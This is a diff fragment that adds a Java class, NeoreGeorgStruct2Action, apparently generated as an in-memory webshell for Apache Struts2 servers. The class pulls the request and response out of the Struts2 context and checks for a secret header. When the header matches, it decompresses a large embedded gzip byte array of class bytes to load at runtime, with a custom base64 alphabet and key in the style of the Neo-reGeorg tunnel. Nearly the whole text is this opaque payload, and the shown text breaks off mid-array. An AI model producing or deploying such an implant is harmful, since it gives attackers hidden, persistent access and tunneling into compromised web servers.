+ * key: key + */ +public class NeoreGeorgStruct2Action { + public static String headerName; + public static String headerValue; + + public static Map namespace = new HashMap(); + String chars = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm"; + String hello = "IwGasXee9x7OudkKMG6QZT0xKxebZGasKG7skTrzHlk2qkvPhS75XP2tKx2VAqLkMk2khcktuMlEJ52e9G7Hq+WxtfgrZE6KCwTaIn=="; + byte[] base64Bytes = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, -1, -1, -1, 31, 60, 48, 33, 42, 58, 23, 57, 41, 40, 29, -1, -1, -1, -1, -1, -1, -1, 28, 7, 8, 14, 54, 25, 4, 26, 15, 30, 17, 37, 19, 10, 44, 39, 49, 59, 53, 52, 62, 3, 56, 18, 46, 12, -1, -1, -1, -1, -1, -1, 45, 43, 35, 38, 1, 50, 61, 20, 16, 34, 21, 36, 63, 32, 5, 51, 22, 13, 11, 24, 27, 9, 2, 55, 0, 47, -1, -1, -1, -1, -1}; + + public void execute() throws Exception { + try { + Class contextClass = Class.forName("com.opensymphony.xwork2.ActionContext"); + Object context = contextClass.getMethod("getContext").invoke(null); + Method getMethod = contextClass.getMethod("get", String.class); + HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + Object[] args = new Object[]{ + request, + response, + chars.toCharArray(), + base64Bytes, + new Integer(200), + new Integer(513), + new Integer(524288), + hello, + new Integer(1447564139), + new Integer(0), + new Integer(0), + new Integer(0), + }; + + if (namespace.get(chars) == null) { + byte[] clazzBytes = gzipDecompress(new byte[]{31, -117, 8, 0, -46, 68, -86, 100, 0, 3, -99, 57, 11, 124, 83, -11, -43, -25, 36, -9, -26, -34, -92, -105, -110, 6, 46, 112, 91, 74, 75, 11, 88, -46, -44, 42, 104, -44, 20, 80, 40, 69, 42, 109, 113, 13, 80, -47, 57, 9, -19, 109, -119, -92, 73, 77, 82, 94, 115, 76, 55, 31, -101, -113, 77, -25, 54, 7, 78, 69, -60, 101, 78, 84, 68, 13, 69, 4, -15, -123, -50, -73, -50, 109, 78, -73, -87, 123, -22, -26, -90, 115, 110, -50, 61, -20, 119, -50, 125, -92, 73, 27, -10, -15, 125, -65, 31, -3, 63, -50, -1, -4, -49, -5, 127, -50, -71, -31, -103, 79, 31, 58, 4, 0, 39, 58, 36, 15, -108, -64, 27, 18, -4, 92, -126, 123, -35, 112, 23, -4, 66, -126, -5, 120, -2, -91, 4, 111, 122, 64, -126, -73, 36, 120, 91, -122, 95, 73, -16, 107, 15, 65, 127, 35, -63, 111, 101, -8, -99, 12, -65, -105, -31, 29, 9, -34, -11, 64, 25, -4, -127, -121, 63, 74, -16, -98, 7, 38, -62, 27, 60, -4, -55, 3, 110, -8, 51, -81, -34, -25, -43, 7, 60, -4, -123, -121, 15, -103, -58, 95, -103, -20, 71, -68, -6, -101, 4, 127, -9, 64, 21, 99, -115, -125, -113, 121, -8, 7, 15, -97, -56, -16, 79, -58, -2, 23, -29, -4, 91, -122, -1, -56, -16, -87, 4, -61, 30, -104, -115, -64, 3, 74, -24, -16, 64, 0, -99, 60, 8, 18, -118, 30, -72, 17, 93, 30, 104, 68, 73, 70, -39, -125, 110, -12, 72, 88, -62, -77, -62, -61, 56, 62, 41, -107, 113, -68, -124, 94, 15, -106, -95, -113, -121, 9, 37, 56, 17, -43, 18, -100, -124, -109, 121, -104, 34, -93, 70, -36, -80, -100, 73, 86, -16, 48, -107, -73, -107, 60, 76, 35, 89, -80, -54, -125, -43, 56, -99, 6, 18, -111, -122, 79, 24, -91, -90, 4, 107, 113, 70, 9, -50, 68, 85, -58, 89, -116, 117, -100, -116, 117, 124, 50, 91, 70, 63, -49, -11, 60, 4, 120, 104, -112, -15, 120, 9, 27, 61, -80, -110, 76, -124, 39, -32, -119, -76, -62, 57, -68, 125, 95, -58, -71, 100, 17, 60, -119, 9, -100, 44, 99, 80, -58, 83, 120, 127, -86, 7, 98, 120, 26, 15, 33, 9, -101, 60, -80, 22, -25, 121, 112, 62, 46, 96, -56, -23, -28, 33, 60, -125, -39, 47, -108, 113, -111, -116, -51, 50, 46, -26, 93, -117, -124, 75, 8, 9, 62, -31, -51, -103, 50, 46, -11, 96, 43, -98, -59, 55, -106, -15, -86, -51, -125, -19, -40, -63, -100, -105, -53, 120, 54, 67, 62, -61, 67, 39, 15, 97, -58, 90, 33, -31, 74, 15, 108, 97, 47, 110, -63, 85, 50, 118, -15, 124, -114, -116, -85, 25, -8, 62, 95, 60, -105, -121, -13, 100, -4, 44, 75, 123, 62, 15, -97, 99, -105, 92, -32, -127, -85, 112, 77, 9, -100, -122, 17, 30, -42, 74, -40, -51, -112, 30, 9, 117, 9, 123, 61, 112, 13, -10, 49, -18, 58, 9, -93, 30, -72, -114, 99, -29, 58, -68, -112, -121, -11, 108, -31, 24, 15, -3, 60, -60, 37, 76, 80, 64, -30, 0, -69, -12, 34, 55, -103, 33, 41, 97, -54, 13, 55, -15, -100, 118, -61, -51, -104, 100, -76, 65, 62, -34, -32, -63, -115, -72, -119, -121, -51, 60, 108, -111, -16, -13, 30, -40, -59, -78, -17, -62, -117, 121, -8, -126, -124, 91, 37, -4, -94, 7, -18, -92, 0, -57, 75, 36, -68, 84, -62, 47, 33, 56, -12, 56, 13, -25, 53, -45, -48, -93, -13, 106, 17, -126, -100, -46, 83, -87, 104, 34, -98, 66, 24, -33, 118, 97, 100, 67, -92, 113, 48, 29, -115, 53, -74, 71, 6, -102, 16, -36, -31, 104, 95, 60, -110, 30, 76, 18, -10, -55, -123, -89, -13, -52, 109, 44, 18, -17, 107, 12, -89, -109, -47, 120, 95, 83, 30, 100, -7, -38, 11, -11, -18, 116, -45, 2, -94, -31, -102, 23, -115, 71, -45, 11, 16, -100, 117, -77, 87, 33, 8, -51, 9, -26, -19, -46, 47, 26, -116, -60, -120, -87, 90, 55, -10, -38, -20, 115, 17, -60, -75, -63, -109, 88, -36, 73, 117, -25, 45, -102, 61, -106, -105, -119, -64, -108, 38, -43, -115, 61, -99, -51, -102, -71, -41, -23, -111, 30, 61, -71, 94, -33, -116, 48, -85, 24, 82, 49, -86, -98, -106, 77, -35, -6, 64, -38, 52, -120, 20, 77, -59, 18, -35, -111, -40, 40, 41, -19, -5, 36, -91, 103, 109, 108, -61, 5, 61, 122, -73, -95, -109, -97, 68, -51, 67, 107, -115, -89, -11, 62, 61, 73, -62, -116, -43, -48, -70, -87, -57, 115, 55, -57, -30, 20, 37, 69, 122, 41, -47, -8, -122, -60, 122, -67, 93, 79, -81, 75, -12, 32, 44, 43, 98, -64, -79, -62, 22, -95, 63, -69, -104, 88, -29, -14, -119, -49, 65, 56, -1, -1, 76, -67, 57, 22, 73, -91, -114, -103, -97, 59, 25, -119, -9, 44, -38, -100, -42, -55, -36, -82, -70, -42, 86, 67, 67, -49, 90, 6, -84, 72, -112, -38, -28, 103, 14, -128, 86, 2, 70, -29, -23, 21, 9, 11, 85, -84, 51, 49, 93, 27, -12, 100, -76, -105, 28, -36, 88, -60, 65, 6, 100, 83, 99, 92, 79, 55, -90, 82, -79, -58, 112, -72, 45, 108, -58, -70, -31, 58, 95, -9, 58, -67, 123, 125, 115, 44, -86, 19, -35, -28, 96, 42, -83, -109, 49, 67, -74, 35, 82, 122, -9, 96, 50, -102, -34, -36, -40, -83, 39, -45, -115, -25, -100, 124, -62, 105, -51, -76, -120, -10, 70, -69, 35, 105, -67, -120, 5, 102, -81, -110, -16, -53, 54, -47, -80, -98, 36, -71, 114, 68, 125, 125, 122, 122, 97, 55, -121, -107, -34, -45, -102, 74, 13, -22, 73, -46, -32, -72, -70, -39, -57, -60, -118, 94, -24, -68, -18, -104, -15, -124, 20, -56, -62, 62, -124, 9, 69, 108, -85, -64, 61, 112, -81, 2, 123, -32, 62, -124, -78, 49, 113, -93, -32, 101, 120, 57, -126, 119, -76, -44, 100, 126, 18, -83, -117, -104, -21, -55, -126, 99, -109, -86, 2, 79, -61, 15, 17, 74, 13, 120, 52, -47, 104, 35, 2, -31, -46, -67, -26, 4, 81, -113, -89, -37, -12, 120, 95, 122, 29, -95, 17, -88, 53, 62, 48, -104, 38, -38, 122, -92, -97, -28, -76, -17, -27, 65, 21, -68, 2, 47, 87, -16, 74, 120, 17, 97, -14, 104, 113, 22, 13, 70, 99, 61, 44, -19, 87, -16, -85, -92, 43, 94, -91, -32, -43, 120, -115, -126, -41, -30, -41, 20, -4, 58, -33, -69, 22, -81, 83, -32, 32, 28, 82, -16, 122, -4, -122, 2, 79, -64, -109, 54, 27, -125, 76, -18, -19, 42, 120, 3, 126, 83, -63, 111, -63, 62, 5, -65, -51, 54, 19, 86, 116, -82, 108, 81, -16, 70, -4, -114, 2, -113, -63, -29, 20, 64, 73, 61, -91, -89, 77, 3, -40, 47, 73, 49, 40, 113, -72, -84, -20, 108, 99, 1, -120, -60, 54, -36, -114, 80, -98, 59, 88, -102, 78, 15, -48, 33, -87, 30, 39, 3, 25, -100, 110, 98, -76, -17, -30, -51, 8, -43, -123, -15, -58, -72, -87, 81, -56, -73, -64, 67, 10, -34, -118, 59, 40, 27, 82, 56, 74, 120, -101, -126, 59, -15, 118, -117, -61, -56, 85, 35, 116, -38, 35, -15, -120, -31, -68, 93, 120, -121, -126, -33, -61, -116, -126, -33, -57, 59, 77, 67, 47, 53, 82, 91, 71, -92, -97, 31, -125, 106, -120, 103, 36, -26, -106, -8, 96, -65, -98, -116, 48, 51, 9, 127, -96, -32, 93, -72, 91, -63, -69, -15, 30, 9, -17, 85, 112, 15, -34, 39, -31, 94, 5, -17, -57, 7, 20, 124, 16, -77, -90, -10, 38, 41, 5, 30, -127, -61, 10, -18, -61, 33, 5, -9, -29, 67, 10, 28, -127, -89, 20, 56, 0, 15, 43, 120, 0, 31, -106, -16, 32, -101, -108, -20, -2, 8, 30, -106, -16, 81, 5, 31, -61, -57, 37, 124, -126, -124, -79, -94, -96, -63, 12, 3, 5, -97, 100, -21, -106, -83, -96, 103, -99, -22, -43, -109, 13, 45, -100, -31, -56, -73, 10, 30, -127, -61, -60, 48, -107, 99, -120, 79, -111, 71, -31, 29, 124, 90, -63, 31, -30, -45, -26, 81, 56, 77, -59, -122, 52, -86, -76, 67, -121, -97, -5, -62, 100, 50, -78, 121, -7, 96, 58, 23, 68, 18, 62, -93, -32, -77, -8, 28, -117, 116, 21, 93, -116, -12, -12, -40, 52, -81, -90, 0, -63, -25, -15, 26, -124, 18, -61, -63, -117, 6, 123, 123, 57, 100, -91, -26, -27, 29, 29, 45, -51, 43, 20, 124, -127, 66, 0, 95, -60, -105, 20, 124, 25, 95, -55, 119, 109, 43, 13, -31, 68, -9, 122, 122, -85, 61, 61, 116, 57, -59, 17, -16, 35, 9, 95, 85, -16, -57, -8, 19, 5, 127, -118, -81, 41, -80, 23, -18, 87, -16, 103, -8, 58, 21, -49, -27, -53, 40, -84, -106, 44, 108, 109, -93, -44, -76, -72, 53, -100, 99, -16, 6, -2, 28, -95, -54, 36, 75, 26, 116, -81, -117, -112, -5, 99, -87, 70, -109, 118, -77, -71, 85, -16, 23, -116, 38, 116, -74, 44, 92, 44, -31, 47, 21, 124, 19, -33, -94, 103, -127, 111, 43, -8, 43, 54, -9, -81, 21, -4, 13, -2, 86, -63, -33, -31, -61, 36, -4, -110, -27, -99, 93, 11, 59, 23, 51, -25, -33, 43, -8, 14, 31, -68, -53, 62, -68, 1, -33, -90, -6, 55, -10, 25, -79, -50, -4, -118, -2, 64, 98, -50, -97, -49, -85, 63, 34, -32, 124, 86, -24, 61, -66, -11, 30, -19, 26, 20, -4, 19, -2, 89, -63, -9, -7, -123, 125, -64, -61, 95, -16, 67, 5, -1, -54, 116, 63, -30, -40, -48, 114, -106, -23, -48, -45, 27, 19, -55, -11, -100, 76, -110, -67, -111, 110, 93, -63, -65, -31, -121, 8, 19, 11, 76, 103, 25, -51, -114, 70, 27, 124, -110, 109, 76, -4, 59, -15, -128, -3, -16, 16, -62, -44, 49, -34, 45, -56, 16, 87, 26, 25, 2, 63, 86, -32, 5, 120, 81, -127, -25, -32, 121, 5, 94, -126, -105, -87, 63, 25, 85, 100, 20, -4, 7, 126, -94, -32, 63, -15, 95, 10, -2, 27, -1, 99, 103, 42, 3, -95, 45, -63, -23, 45, -17, 70, 120, 93, 34, 73, 25, -19, 25, 120, 86, -127, 79, -15, 83, 9, -121, 21, 7, -112, -78, 14, -60, -101, 21, -121, -61, -31, -76, 19, -96, -15, -114, 58, -87, 42, 37, -6, 21, -121, -32, 16, 21, -121, -117, -93, -84, -26, 127, -49, -43, 118, -22, 53, 40, 44, -115, -92, -42, 81, -101, 68, -63, -47, -95, 39, -110, -6, -103, 52, -112, 64, -45, 70, -91, -120, 68, 42, 29, -89, 71, -68, -118, -85, 88, -108, 3, 117, 20, 2, 115, -56, 79, 6, 84, 55, -118, -56, -111, 39, 67, 46, 5, 82, -35, -96, -126, -71, 42, 18, 27, -44, -115, -42, -85, -107, 31, -54, -122, 72, 52, 22, 89, 27, 35, -120, 64, -74, -90, -108, -25, -118, 12, 12, -24, 113, 90, 52, 28, 83, -125, 100, 101, -24, 38, -85, 42, 83, 59, 39, -89, 19, 118, 45, -103, 88, 87, -76, -93, 114, -89, 6, -41, -90, 44, -108, 73, 92, -31, -117, 33, -71, 98, 86, 21, 81, -21, -118, 35, 72, 27, 88, -109, -27, -67, 6, -115, 124, 12, -69, 53, 34, -111, 54, 114, 125, 58, 74, -81, 70, -94, -118, -67, -79, -63, 20, -79, 16, -69, 99, -119, 20, -31, -71, -69, 19, -3, 3, -111, -92, -66, 34, 113, -108, 59, 100, -78, -46, 4, -103, 103, 36, -127, 83, -66, -80, -107, -76, -54, -60, -56, 25, 73, -32, -91, -116, -45, 73, -115, -83, -98, -54, -43, -108, 18, 2, 45, 78, -104, -39, -117, -84, 94, 119, 46, 75, -30, -119, -90, 90, -29, -87, 116, 36, -34, 77, 98, 76, -32, -108, 56, 38, 14, 106, -21, 70, 117, 47, -93, 81, 12, -107, -90, 20, -30, 80, 73, 49, -46, -15, 38, 98, 85, 98, -108, 99, -101, -55, -15, 71, 117, 111, -79, -37, -92, -118, -64, 29, 7, 66, -105, -43, 15, -115, 96, 45, -45, 55, 91, -79, -40, 52, -6, 40, 63, 80, -101, 70, -11, 54, 97, 94, -24, -26, -77, 50, 68, -25, 14, -62, 76, -119, 75, 34, -35, -23, 68, -110, 122, -72, -102, -70, 34, 34, 21, -32, 52, -103, -26, 26, 13, 46, 98, -82, 49, 55, -103, 103, 94, -95, 108, 78, -60, 98, -90, -33, 40, 101, 9, -79, 104, 42, 61, 98, -92, -47, -107, -44, 126, 8, 6, -36, -56, 87, 109, -124, -49, 65, -103, -44, -87, -49, -29, 88, -102, -112, 127, -43, 56, 101, 126, -91, -123, 48, 126, -110, 105, -90, -103, 72, 114, 24, -25, 83, 109, -75, -32, 68, -44, 55, 22, 74, -100, -42, 69, 82, 29, -122, 95, -23, 41, 83, -13, 42, -60, -115, 77, -31, -109, -53, 53, -43, -66, -111, 56, 60, 59, 73, 17, -100, 76, 111, -26, -122, -13, 40, 29, -14, -104, -121, 50, -98, 92, -109, 95, 111, 41, -50, 108, 62, -108, -76, -13, 79, -72, 59, 37, 100, -85, 41, 23, -22, -116, -98, 124, 98, 49, 76, 82, -127, 50, 6, -67, 126, -117, -66, 89, -80, -105, 68, -11, 88, 15, -35, 44, 43, 48, -122, -7, -19, 57, -82, 0, 64, 41, -126, 62, -28, -62, -36, -78, 21, 34, 19, -88, 16, -39, -64, -15, -102, -97, -105, -83, 125, 113, -54, -67, -51, 17, 118, 81, 105, 33, 87, 83, -116, 78, 61, 53, 64, 33, -96, -101, 31, -91, -109, -13, -44, -52, 43, 73, 77, -26, -27, -106, 100, 50, -111, -76, -75, -55, -17, -91, 55, 83, -101, -33, -49, -23, -107, 67, -93, 59, 49, -80, -103, 63, -24, -58, -6, -91, -75, 8, -56, -80, -121, 64, -90, -89, -5, 50, 37, -93, -108, 110, 124, -13, 8, -100, 118, 56, -86, -19, 100, 115, -44, 70, -126, 115, 103, -54, 0, 112, 16, -26, -27, 38, 19, -85, -87, -8, -9, -79, -23, -122, 81, -72, -28, -94, 110, 51, -101, 81, -119, -82, 27, 77, -55, -86, -29, -26, -43, 50, 66, -20, -115, -10, -47, -117, 94, 68, 31, -56, -21, -115, -36, 94, 71, -71, -83, -104, -76, 58, -65, 51, 46, 58, 35, 18, 59, -115, 100, 120, -22, 127, -1, -76, -4, 111, 95, -115, -50, 62, 22, 119, 86, 17, 2, 69, -47, 93, 73, -67, 63, -79, 65, -73, -65, 21, -30, 86, -21, 97, 55, -121, 114, 36, -58, -97, -7, 92, 59, -90, -28, -118, 75, 33, 82, 19, 31, 21, 61, -32, 42, 33, 26, -98, -49, 89, -108, 17, 44, -46, 84, 107, -12, 72, 50, -33, 53, -71, 67, 34, 89, -110, 78, -28, 90, 32, 106, -72, 70, 126, -23, 24, -61, 92, -24, -115, 69, -23, 13, 40, -108, 6, 58, -11, -2, 8, 37, 103, 54, 121, 69, 93, 115, -79, 26, 109, -35, 9, 28, 99, 73, -73, 89, -44, 25, -82, 21, 83, 3, 49, -50, -4, -59, -46, 69, -63, 47, 25, -71, -46, 76, 90, -84, -92, 46, 34, 105, 62, 51, -87, -49, 44, 103, -108, 7, 104, 53, -70, 117, 76, -79, -102, -7, -49, 55, 63, -51, -110, 1, 73, -65, 118, 122, -79, 45, 49, -67, -97, 62, 42, 8, -69, -124, 19, -99, -75, 53, -117, 70, 94, -77, -55, -28, 74, 45, 126, -71, -2, -45, -54, 51, -83, 102, 106, 50, 26, -59, 60, -5, -113, 116, -113, 92, -81, -93, -87, -123, -87, 20, -1, -60, 69, -31, -71, 36, -103, -24, -25, -116, 58, 6, -49, -56, -73, 43, 86, -97, -35, 66, 113, 95, -124, -56, 25, 69, 12, 53, -10, -9, -112, 124, -10, 73, -67, -105, -33, 68, -93, -39, 35, 52, 89, 101, -68, -40, 25, -1, -40, -109, -30, -97, 14, 72, 74, -93, 109, 27, -105, 50, 127, 74, -80, -9, 46, -13, -25, 26, -124, -45, -118, -68, -123, 99, -3, 13, 70, 98, 27, -101, 121, -89, -50, 48, -100, -101, 1, 70, 82, -121, -23, 112, 23, -108, -128, 3, 118, -61, -35, -32, -92, -7, 30, -72, 23, -128, -26, 61, 112, 31, -51, 110, -2, 32, 2, -124, 7, 12, -40, -125, -32, -93, 117, 22, -10, -47, 56, 68, -112, 50, -102, -111, 102, -47, 79, 16, 70, -25, 95, 14, -24, 11, -64, 60, 118, -67, 5, 46, 56, -114, -26, -117, -21, 15, -125, -125, -2, -75, 7, -100, 115, 58, 2, -62, -100, -112, -32, 15, -120, 115, 14, -125, -109, -2, 61, 8, -76, 113, -47, 70, -92, 127, 15, -126, 43, 32, -47, 90, -54, -126, 28, 20, 3, -78, -67, 116, 5, -68, 46, 123, 45, 5, -68, -116, -30, 14, -55, 1, 111, 14, -63, 29, -16, -70, -19, -75, 39, -32, -11, -40, -21, -110, -128, -73, -60, 94, 43, 66, 112, -100, 24, 44, 117, 5, -57, 75, 65, -81, 28, 44, -13, -70, -126, 62, -81, 20, -100, 64, -21, -119, 94, 119, 80, -43, 4, -97, -57, 121, 16, 74, -122, 64, 57, 12, -29, 66, -109, -68, 117, -76, 9, 77, 54, -89, 41, -66, -46, -112, 70, 127, -27, 13, -66, -15, 57, 36, -55, -92, -20, -72, 21, -18, -94, -93, -118, 6, -97, 55, 119, 84, 22, -102, -86, 77, -51, -126, 47, 88, -87, 86, 58, 118, -128, 43, 3, -89, -88, -107, 15, -53, -95, 105, -38, 84, 109, 90, 22, 38, -104, -80, -38, 3, 48, 113, -11, 62, 80, -75, -118, 44, 76, 58, 0, -18, -43, -38, -76, 125, 48, -103, -42, 89, -104, 18, -86, -56, 12, 63, -94, 122, -124, 29, 16, -46, 42, -100, 106, 73, 22, -76, -112, -90, 85, 48, 106, -71, -86, -12, 24, 51, -61, -54, -75, 10, 62, -84, 8, -47, -111, -45, 62, -27, -125, 10, 63, -17, -90, -122, 42, -75, 74, -43, 61, 4, -107, 67, 48, 45, 52, 57, 99, 32, 78, -30, -109, -22, 44, 76, -41, -120, 83, 13, 15, -75, -50, -35, -38, 100, 117, -94, 97, 88, 34, 116, -60, 113, 5, 109, 85, 99, 75, -118, -8, 102, 100, 97, -26, 54, 80, 12, -118, -77, -74, 59, -94, -116, -117, 97, 70, -95, 81, -16, 29, 103, -23, -35, -43, -32, -85, -53, -103, -64, 29, -86, 60, 0, -77, 87, 107, 21, -5, -64, 79, 122, -109, -42, 20, 6, -127, 80, -107, 86, -91, 85, 102, -95, 65, -85, 18, -78, 112, -68, -81, 81, -85, -54, -62, 9, -37, -128, -26, -61, -48, -24, -49, -62, -119, -66, 57, 67, 48, 55, 84, -83, 85, -93, 112, 16, 78, 90, -19, -12, -121, 49, 11, 39, 27, -57, 26, -55, 28, -52, -62, 41, 13, -66, 83, 115, 108, 78, 99, -44, 33, 8, -123, -90, 107, -45, -121, -96, 73, -101, -66, 31, -26, 33, -124, 106, -76, -102, -3, 48, 31, 97, 27, -52, -31, -43, 2, 4, -106, -88, -74, -63, 119, 58, 81, 45, 89, -19, -44, 106, -61, -106, -108, 51, 72, -96, -38, 33, 56, 67, 35, 37, 23, 102, -122, -97, 41, -18, -31, 21, 44, -25, -94, 80, 77, 6, -92, 16, 25, -53, 118, -100, 70, -50, -14, -109, 29, 76, 3, 55, 103, 97, 49, 1, -76, 114, -53, -123, -75, 90, 109, 22, 90, -120, 67, -115, 54, -61, -87, -51, 56, -108, -123, 37, 90, 77, 22, -50, -28, 97, 41, 19, 108, -35, 15, 103, -15, -117, 89, 86, 32, -15, 89, -7, 18, 107, -75, 71, 32, -88, -43, -6, -38, -78, -48, -66, 29, 2, -76, -22, 48, 86, 53, 44, 118, 22, -106, 19, 117, -63, 119, -74, 104, 43, -75, 90, -48, 102, -80, 102, 93, -103, -31, -67, -52, -31, 51, 101, 120, -35, 78, 24, -57, -53, 78, -106, 126, 38, -81, -62, -52, -20, 41, -48, -24, -26, 10, -45, 28, -86, 72, 10, 24, -9, -100, -69, -53, 4, -96, 72, -99, 113, 0, 86, -110, -118, -85, 66, 51, 89, 122, 10, -39, -43, -63, 90, -78, -61, 52, -75, -106, 14, 103, -79, 62, -77, -100, 42, -39, -83, 75, -101, -87, -51, -54, -62, 57, -103, -31, -41, -75, -103, 89, 88, 77, 103, -126, -17, 92, 83, 30, 95, 27, -53, 67, -89, -27, 67, 112, -98, 65, 125, -124, -93, 33, -100, -51, -108, 34, -110, -80, 62, 59, 58, 34, 5, -33, -7, 118, 100, 21, 19, -107, -20, 94, 106, -121, -24, 17, -4, -104, -74, -29, -115, 109, 37, 69, -20, -25, 40, 98, -73, 3, 7, -86, -49, -128, 77, -93, -43, 4, 94, 13, -63, 5, -63, -86, 33, 88, -61, 97, -109, -123, -56, 1, 88, 75, -81, 78, -83, -38, 7, -35, 101, 37, 67, 89, -24, -47, -86, -99, 89, -48, -69, -10, 66, -81, 86, -87, 85, -17, -121, 62, 39, -87, 56, 69, -11, -6, -42, -123, 51, -104, 34, 58, -68, -114, -122, 105, 42, -29, -104, -82, 38, -24, -7, -60, -17, 66, -125, 95, -125, 113, 109, 63, -84, 119, -112, -13, 98, 102, -44, 71, -78, -48, -97, 1, 49, 84, 101, -99, -59, 29, -48, -107, -63, -39, 116, 39, 97, -36, -71, 107, -52, -99, 35, -80, 81, 117, 13, -63, 0, -67, -107, 105, 108, -90, -117, -126, -43, -86, 20, -100, -18, 12, -42, -40, 62, -87, 85, -85, 111, -127, 78, -75, -102, -3, -60, 24, 73, -118, 46, -89, 90, -51, -34, -88, 101, 103, -99, -61, -64, 84, -105, 90, -93, 86, -81, 9, -46, -96, -70, 110, 3, 15, -19, -90, -33, 6, 94, -110, 124, 28, 71, 78, 58, -100, -127, -15, 57, 6, -103, -31, 123, 109, 45, 97, 18, 49, -50, -45, -78, -54, -48, 18, 54, -110, -60, -125, -122, -60, -3, -93, 37, -98, -84, -114, -77, 50, 56, 63, -17, 67, 44, 58, 89, -105, 47, 110, -24, 98, 43, 111, 52, -58, 77, -37, -96, -108, -8, -47, 106, 51, 69, -25, 7, 57, 118, -45, -118, -80, -77, 13, -89, -47, -21, -102, 82, -16, -70, -14, 34, 36, 3, 85, -102, -111, 54, -3, -102, 76, -103, -50, 72, -99, 5, -57, 66, -69, 115, 55, 21, -73, 103, -15, 42, -68, 22, -86, 28, 79, 56, -98, 117, -68, 0, 85, -62, 22, -31, 41, -31, 25, -102, 63, 17, 81, 20, -96, 74, 108, 16, -17, 22, -9, -48, -4, -90, 107, -86, -85, 10, -86, -88, -120, -19, 114, 109, -122, 42, -68, -61, -15, 50, -49, -114, 87, -100, 119, -13, -20, -68, 71, 8, -14, 44, -100, -30, -38, -64, -77, 81, -19, 14, -64, -61, 102, -75, -61, 73, 32, -126, 76, -77, -25, 0, 108, 33, 39, 125, -66, -67, -2, -48, 2, 103, 80, 80, -123, -54, -99, -16, 81, -67, 42, 92, 38, -32, -36, 50, 24, -34, 26, 20, 9, -76, 3, -22, 3, -2, 7, 64, 80, 69, -15, -30, -109, -78, 112, 113, -105, -75, 115, 109, -107, 54, -103, 123, -33, 23, -78, -80, -75, 43, 3, -5, -13, -81, -70, -116, -85, 45, 71, -67, -86, -70, -54, -32, -125, -83, -46, -59, -105, -28, 29, -72, -68, -29, -73, -118, 54, -47, 47, -102, 68, 123, -14, -119, 74, -1, 15, 114, -86, 84, 6, -121, -73, 122, 93, 5, 71, -110, -9, -12, -83, -58, 54, 51, -84, 4, -78, 112, -55, 30, -85, 35, 56, 8, -121, 44, 27, -7, 64, 0, 15, -51, -82, 122, -54, -117, -19, -127, 67, 11, 56, -96, 43, -9, -63, -91, 33, -63, 73, 118, 17, -55, 84, -17, 16, 41, 87, 64, 21, 47, 19, 113, -18, 92, 82, -104, 97, 110, -43, -27, -72, 117, -8, 93, 26, -115, -78, -7, 100, 1, -118, 100, -95, 72, 6, -118, 100, -94, -20, -44, 72, 82, 22, -45, 123, 2, -53, -97, -123, 47, 89, -8, 65, 89, -107, -67, -13, 119, -128, 91, -93, -14, -109, -34, -61, -108, 84, -103, -95, 38, 17, 74, -11, -61, -81, -47, 104, 16, 57, 95, 99, -99, -58, -77, 33, 100, -17, -68, -83, 98, 1, 29, -73, -22, 30, 77, -57, -51, 80, -109, -114, -37, -96, -29, 54, -23, 80, 107, -95, -54, 46, -78, -42, 38, -43, -51, 36, 50, -61, 83, -52, 91, -122, 125, 100, -2, 97, -98, -102, 43, 110, -88, 82, 100, 31, 23, -51, 125, -66, -46, 54, -65, -17, -53, 89, -72, -116, -115, 100, 71, -47, -46, -128, 74, -51, -109, 104, -43, -98, 122, -82, 52, -94, -109, 8, 81, 17, -70, -36, -40, -48, -70, -62, 44, 61, 109, 121, 72, 76, -57, -128, -111, -57, 51, -61, 67, -11, 78, 2, -106, 11, -36, 35, -104, 2, 60, 74, 127, 2, 57, -120, 3, -6, 49, 120, -36, 18, 101, 61, 117, -125, 18, -51, 23, 112, 17, -81, -89, 26, -98, -123, 43, -38, -121, -32, -54, -114, -122, -3, -16, 21, -82, 82, 103, -46, -30, -85, 92, -92, -82, 10, 9, -84, -50, -43, 33, 81, 19, -83, -77, 58, 94, 25, -121, -41, -124, 92, -102, -21, 81, -72, 118, 27, -108, 105, -82, 44, 124, -115, -30, -30, -21, -37, 64, 20, 118, 103, -122, 95, -51, 12, 103, -23, 125, 22, -118, -32, -26, -1, -13, -79, -38, -53, 107, -23, 69, 81, -76, -64, -91, 70, 15, -42, -18, 92, -32, 63, 20, 20, 36, -54, 121, -82, 3, 112, -35, 106, -22, 57, -81, 15, 73, -107, -86, -80, 19, 34, 26, 85, -23, 111, 4, 69, 77, -46, 92, 78, -51, 69, 117, -10, -122, 46, -115, 50, -24, 55, 73, 83, -71, -121, 93, 78, -105, -36, 116, -22, 118, 106, 110, -29, -76, -110, 96, 107, -42, 44, 80, 69, 97, 23, 53, 76, -94, -41, 125, 59, 76, 32, -49, 26, 61, -104, -101, 18, 9, -91, 37, 55, -19, 53, 119, 56, 51, 124, 107, -64, -76, -109, -101, -1, -53, -60, 18, -19, 106, 18, -105, -83, -77, -47, -17, -108, -67, 19, -121, -32, 91, 97, -65, -9, 56, 107, 101, 37, 105, -110, -73, -46, 127, 104, 39, 116, -6, 43, -25, 28, -127, 37, 52, -78, -99, 30, 5, -9, 54, -54, -63, 2, 85, 34, 110, 13, -60, 12, -43, 102, -63, -54, -99, 98, -96, -110, 3, 76, 19, 15, -79, -36, 107, -122, -32, -37, -108, -55, 105, -53, -43, -107, -114, 93, -105, 57, -55, 127, -9, 4, -116, -56, 65, -24, -124, 62, -72, -48, 112, -102, -101, -1, 27, -49, 114, 91, -52, -118, -96, 53, -127, 67, 7, -31, -58, 14, 35, 116, 2, 36, -59, 50, -114, -99, 44, 124, 39, 36, -6, 36, -90, -72, 109, 27, -108, -20, -123, -19, 44, -64, 12, -33, 77, 35, -112, -17, 50, -60, -25, -69, -39, -126, -56, 123, -31, -106, -112, -40, -96, 10, -102, 24, 54, -62, -25, 1, 127, 125, 67, 96, 8, 110, 29, 29, 58, 110, -2, -31, -35, -110, -31, 68, 